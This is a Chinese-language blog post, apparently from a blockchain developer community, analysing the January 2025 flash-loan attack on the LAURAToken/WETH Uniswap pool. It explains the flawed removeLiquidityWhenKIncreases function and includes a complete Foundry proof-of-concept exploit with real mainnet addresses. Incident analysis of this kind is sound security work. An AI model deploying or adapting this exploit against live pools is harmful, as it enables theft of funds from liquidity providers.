20250101 LAURAToken 攻击事件分析与复现

  • SpikeDu
  • 发布于 4天前
  • 阅读 378

20250101 LAURAToken 攻击事件分析与复现

<!--StartFragment-->

事件概览

2025年1月1日,LAURAToken 的流动性池(LAURA/WETH)遭到了一次精心策划的攻击,攻击者通过操纵 Uniswap V2 流动性池的AMM,并利用 LAURAToken 合约中的 removeLiquidityWhenKIncreases 函数,成功窃取了约 12.34 ETH(约合 4.12 万美元)。此次攻击的核心在于通过闪电贷注入大量资金,人为的影响了代币的价格,然后调用 LAURAToken 合约的流动性移除机制,操纵价格从而能提取更多的代币。

背景知识

闪电贷(Flash Loan)

闪电贷是 DeFi(去中心化金融)领域中的一种创新金融工具,允许用户在无需提供抵押品的情况下,借入大量资金进行交易。闪电贷的核心特点是:

  • 无需抵押:用户无需提供任何抵押品即可借入资金。
  • 瞬时还款:借款和还款必须在同一笔交易内完成。如果交易结束时未还款,整个交易将被回滚,确保资金安全。

闪电贷的流行协议包括 Aave、dYdX 和 Balancer 等。尽管闪电贷为 DeFi 带来了更多的可能性,但也因其无需抵押的特性,成为攻击者进行恶意操作的工具。

根本原因

image.png 本次攻击的根本原因在于 LAURAToken 合约中的 removeLiquidityWhenKIncreases 函数设计存在缺陷,具体表现为以下几个方面:

currentK 值依赖单一流动性池

LAURAToken 合约中的 removeLiquidityWhenKIncreases 函数依赖于 Uniswap V2 流动性池的 K 值(恒定乘积)作为触发条件。该合约中的 currentK 值是流动性池中两种代币储备量的乘积(K = reserve0 * reserve1)。然而,该函数并未验证 currentK 值变化的来源。攻击者可以通过闪电贷注入大量资金,进而人为操控 currentK 值,从而触发该函数。

  • 问题currentK 值的变化可能由正常的市场交易引起,也可能由恶意操纵引起,而函数无法区分这两种情况。
  • 后果:攻击者可以通过闪电贷等手段操控 currentK 值的变化,触发不应有的函数逻辑,从而破坏流动性池的平衡,造成潜在的安全风险。

攻击复现

首先,我们从攻击交易开始分析。\ 可以通过使用 Phalcon 进行攻击交易分析:攻击交易链接

image.png\ 从交易中可以看到,攻击合约 A 被创建,并且攻击合约 A 在其构造函数中创建了攻击合约 B,随后调用了攻击合约 B 的攻击函数。\ 基于这一分析,我们可以构建攻击合约 A 的代码。

image.png\ 在攻击合约 B 的构造函数中,可以看到执行了 approve 操作。

image.png

接下来,在攻击合约 B 的 attack 函数中,我们需要复现攻击分析中提到的相关调用,并确保函数调用的参数与原始攻击完全一致。

image.png

attack() 函数逻辑

attack() 函数是本次攻击的核心逻辑,攻击者通过该函数执行了一系列操作,最终实现了对 LAURAToken 流动性池的操纵和资金的非法提取。以下是该函数的详细步骤总结:

image.png

  1. 授权 LAURA 代币:攻击者授权 Uniswap V2 Router 使用最大数量的 LAURA 代币。
  2. 发起闪电贷:通过闪电贷借入 30,000 个 ether WETH,为攻击提供资金支持。
  3. 提取 WETH:攻击完成后,将 WETH 从合约中提取为 ETH,并将 ETH 转账给攻击者。

在执行闪电贷操作后,我们还需要在攻击合约 B 中实现闪电贷的回调函数。闪电贷回调函数主要用于在同一笔交易中完成还款,但也可以同时执行其他操作。

image.png

在执行闪电贷函数后,我们需要在攻击合约B中实现闪电贷的回调函数,闪电贷回调函数主要是为了实现在同一笔交易中还款,但也可同时执行其他操作。

image.png

  • 攻击者将通过闪电贷获取的大量 WETH,用 11,526,249,223,479,392,795,400 个 WETH 在 Uniswap 的 LAURA-WETH 池中进行 swap。此时,攻击合约 B 中剩余 18,473,750,776,520,607,204,600 WETH,同时 swap 得到 6,090,844,737,683,950,823,905,816 个 LAURA 代币。

  • 攻击者随后向 pair_LAURA_WETH 添加流动性,添加的数量为 11,526,249,223,479,392,795,400 个 WETH 和 6,090,844,737,683,950,823,905,816 个 LAURA 代币。如果攻击者此时撤出流动性,他能获得的两种代币数量分别是:

    • 计算得到的 token0(LAURA)数量:8,714,939,022,036,080,887,319
    • 计算得到的 token1(WETH)数量:11,526,249,223,479,392,795,399
  • 攻击者接着执行 LAURAToken 的 removeLiquidityWhenKIncreases 函数,该函数导致 pair_LAURA_WETH 池中的 LAURA 数量减少,进而抬高了 LAURA 代币的价格。

  • 然后,攻击者执行撤出流动性函数 removeLiquidity,此时撤出的代币数量为:

    • 计算得到的 token0(LAURA)数量:2,165,867,096,846,036,817,930
    • 计算得到的 token1(WETH)数量:11,526,249,223,479,392,795,399\ 可以看到,撤出的 LAURA 数量增加,且 LAURA 对 WETH 的价格也上涨。
  • 最后,攻击者将价格上涨后的 LAURA 代币全部 swap 成 WETH,并最终转账离场。

攻击

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../utils/interface.sol";

address constant uniV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant pairLAURA_WETH = 0xb292678438245Ec863F9FEa64AFfcEA887144240;
address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
uint256 constant LOAN_AMOUNT = 30_000 ether;

uint256 constant MAGIC_NUMBER = 11_526_249_223_479_392_795_400;

contract LAURAToken_exp is Test {
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.createSelectFork("mainnet", 21_529_888 - 1);
    }

    function testPoC() public {
        vm.startPrank(attacker);
        AttackContractA attackCA = new AttackContractA();

        console.log("Final balance in ETH :", address(attackCA).balance);
    }
}

contract AttackContractA {
    constructor(){
        //1.创建AttackContractB合约
        AttackContractB attackCB = new AttackContractB();
        //2.调用AttackContractB合约的attack函数

        attackCB.attack();
    }

    receive() external payable {}
}

contract AttackContractB {
    using SafeMath  for uint;
    constructor(){
        //1.调用WETH合约的approve函数,被授权是uniswap v2 router 2 合约。 amount 是 MAX(uint256)
        IFS(weth).approve(uniV2Router, type(uint256).max);
    }

    function attack() external {
        console.log("----->Attack Begin");

        //1.call LAURA approve( uniswap v2 router 2, MAX(uint256) )
        console.log("----->LAURA approve");
        address LAURA = IFS(pairLAURA_WETH).token0();
        IFS(LAURA).approve(uniV2Router, type(uint256).max);

        //2.call BalancerVault flashLoan( ATTACKER_CONTRACT_B, WETH, amount =30,000 * 10 ^ 18, receiveflashdata  )
        console.log("----->BalancerVault flashLoan");
        address[] memory tokens = new address[](1);
        tokens[0] = weth;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = LOAN_AMOUNT;
        IFS(balancerVault).flashLoan(
            address(this),
            tokens,
            amounts,
            hex'000000000000000000000000b292678438245ec863f9fea64affcea887144240' // pairLAURA_WETH
        );

        //3.call WETH withdraw
        console.log("----->WETH withdraw");
        uint256 attackCA_weth_bal = IERC20(weth).balanceOf(address(this));
        IFS(weth).withdraw(attackCA_weth_bal);
        (bool success,) = msg.sender.call{value: attackCA_weth_bal}("");
        require(success, "Not success");
    }

    function receiveFlashLoan(
        IERC20[] memory,
        uint256[] memory,
        uint256[] memory,
        bytes memory
    ) external {
        address LAURA = IFS(pairLAURA_WETH).token0();
        //staticCall 了 weth 的地址,这里常量声明了。
        uint256 attackCB_weth_bal = IERC20(weth).balanceOf(address(this));
        uint256 pair_LAURA_WETH_weth_bal = IERC20(weth).balanceOf(pairLAURA_WETH);

        console.log("attackCB_weth_bal:", attackCB_weth_bal);
        console.log("pair_LAURA_WETH_weth_bal:", pair_LAURA_WETH_weth_bal);

        //1.call Uniswap V2: Router 2 swapExactTokensForTokensSupportingFeeOnTransferTokens
        console.log("----->Uniswap V2: Router 2 swapExactTokensForTokensSupportingFeeOnTransferTokens");
        address[] memory path = new address[](2);
        path[0] = weth;
        path[1] = LAURA;
        IFS(uniV2Router).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            MAGIC_NUMBER,     // amountIn
            0,                // amountOutMin
            path,             // path
            address(this),    // to
            type(uint256).max
        );
        attackCB_weth_bal = IERC20(weth).balanceOf(address(this));
        uint256 attackCB_LAURA_bal = IERC20(LAURA).balanceOf(address(this));

        console.log("attackCB_weth_bal:", attackCB_weth_bal);
        console.log("attackCB_LAURA_bal:", attackCB_LAURA_bal);

        //2.Uniswap V2: Router 2 addLiquidty
        console.log("----->Uniswap V2: Router 2 addLiquidty");

        uint256 pair_lp_total_supply = IFS(pairLAURA_WETH).totalSupply();
        console.log("pair_lp_total_supply:", pair_lp_total_supply);

        IFS(uniV2Router).addLiquidity(
            LAURA,
            weth,
            attackCB_LAURA_bal,
            MAGIC_NUMBER,
            0,
            0,
            address(this),
            type(uint256).max
        );

        uint256 attackCB_pair_lp_bal = IFS(pairLAURA_WETH).balanceOf(address(this));
        console.log("attackCB_pair_lp_bal:", attackCB_pair_lp_bal);

        pair_lp_total_supply = IFS(pairLAURA_WETH).totalSupply();
        console.log("pair_lp_total_supply:", pair_lp_total_supply);
        calculateBurnAmounts();
        //3.LURA.removeLiquidityWhenKIncreases
        console.log("----->LURA.removeLiquidityWhenKIncreases");
        IFS(LAURA).removeLiquidityWhenKIncreases();
        calculateBurnAmounts();
        attackCB_LAURA_bal = IERC20(LAURA).balanceOf(address(this));
        console.log("attackCB_LAURA_bal:", attackCB_LAURA_bal);

        //4.Uniswap V2: LAURA 5 approve
        console.log("----->Uniswap V2: LAURA 5 approve");
        IFS(pairLAURA_WETH).approve(uniV2Router, type(uint256).max);

        //5.Uniswap V2: Router 2 removeLiquidity
        console.log("----->Uniswap V2: Router 2 removeLiquidity");
        uint256 attackCB_pairLAURA_WETH_bal = IERC20(pairLAURA_WETH).balanceOf(address(this));
        IFS(uniV2Router).removeLiquidity(
            LAURA,
            weth,
            attackCB_pairLAURA_WETH_bal,
            0,
            0,
            address(this),
            type(uint256).max
        );
        console.log("After remove liquidity");

        attackCB_LAURA_bal = IERC20(LAURA).balanceOf(address(this));
        console.log("attackCB_LAURA_bal:", attackCB_LAURA_bal);

        //6.Uniswap V2: Router 2 swapExactTokensForTokensSupportingFeeOnTransferTokens
        console.log("----->Uniswap V2: Router 2 swapExactTokensForTokensSupportingFeeOnTransferTokens");
        attackCB_LAURA_bal = IERC20(LAURA).balanceOf(address(this));
        path[0] = LAURA;
        path[1] = weth;
        IFS(uniV2Router).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            attackCB_LAURA_bal,
            0,
            path,
            address(this),
            type(uint256).max
        );
        attackCB_LAURA_bal = IERC20(LAURA).balanceOf(address(this));
        attackCB_weth_bal = IERC20(weth).balanceOf(address(this));
        console.log("attackCB_LAURA_bal:", attackCB_LAURA_bal);
        console.log("attackCB_weth_bal:", attackCB_weth_bal);

        //7.WETH transfer
        console.log("----->repay WETH transfer");
        IFS(weth).transfer(balancerVault, LOAN_AMOUNT);
        attackCB_weth_bal = IERC20(weth).balanceOf(address(this));
        console.log("attackCB_weth_bal:", attackCB_weth_bal);

    }

    function calculateBurnAmounts() internal {
        // 获取 pair 合约的储备量和总供应量
        address _token0 = IFS(pairLAURA_WETH).token0();
        address _token1 = IFS(pairLAURA_WETH).token1();
        uint balance0 = IFS(_token0).balanceOf(address(pairLAURA_WETH));
        uint balance1 = IFS(_token1).balanceOf(address(pairLAURA_WETH));

        // 获取当前合约在 pair 中的流动性余额
        uint256 liquidity = IFS(pairLAURA_WETH).balanceOf(address(this));

        // 获取 pair 合约的总供应量
        uint256 _totalSupply = IFS(pairLAURA_WETH).totalSupply();

        // 计算 burn 后可以得到的 token0 和 token1 的数量
        uint256 amount0 = liquidity.mul(balance0) / _totalSupply;
        uint256 amount1 = liquidity.mul(balance1) / _totalSupply;

        // 打印计算结果
        console.log("if_removeLq_calculateBurnAmounts");
        console.log("Calculated amount of token0(LAURA):", amount0);
        console.log("Calculated amount of token1(WETH):", amount1);
    }

    receive() external payable {}
}

interface IFS is IERC20 {
    // LAURA 代币的特殊函数
    function removeLiquidityWhenKIncreases() external;

    // WETH 合约的 withdraw() 方法
    function withdraw(uint256 wad) external;

    // UniswapV2 Pair 相关函数
    function token0() external view returns (address);

    function token1() external view returns (address);

    // Balancer Vault 的闪电贷接口
    function flashLoan(
        address recipient,
        address[] memory tokens,
        uint256[] memory amounts,
        bytes memory userData
    ) external;

    // UniswapV2Router 交易和流动性管理
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] memory path,
        address to,
        uint256 deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);
}

library SafeMath {
    function add(uint x, uint y) internal pure returns (uint z) {
        require((z = x + y) >= x, 'ds-math-add-overflow');
    }

    function sub(uint x, uint y) internal pure returns (uint z) {
        require((z = x - y) &lt;= x, 'ds-math-sub-underflow');
    }

    function mul(uint x, uint y) internal pure returns (uint z) {
        require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
    }
}

完整的可执行代码在:https://github.com/GAMBLISME/Attack_Reproduction_Foundry

总结

本次攻击事件揭示了 DeFi 项目中流动性池设计的潜在漏洞,特别是在涉及合约函数触发条件的情况下。以下是事件的关键总结点:

  1. 合约函数设计缺陷:LAURAToken 合约中的 removeLiquidityWhenKIncreases 函数缺乏对 currentK 值变化来源的验证,导致攻击者可以通过恶意操控 K 值触发不应发生的逻辑。这一缺陷暴露了流动性池合约中对于市场操控防护的不足。
  2. 对 DeFi 项目的启示:DeFi 项目在设计合约时需要特别注意对关键函数的触发条件进行严格的验证,避免单一市场数据或交易行为导致合约逻辑被滥用。同时,对于闪电贷等工具的使用应加强防护,防止其成为攻击者进行恶意操作的工具。

<!--EndFragment-->

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
SpikeDu
SpikeDu
0xf0F0...Ba88
江湖只有他的大名,没有他的介绍。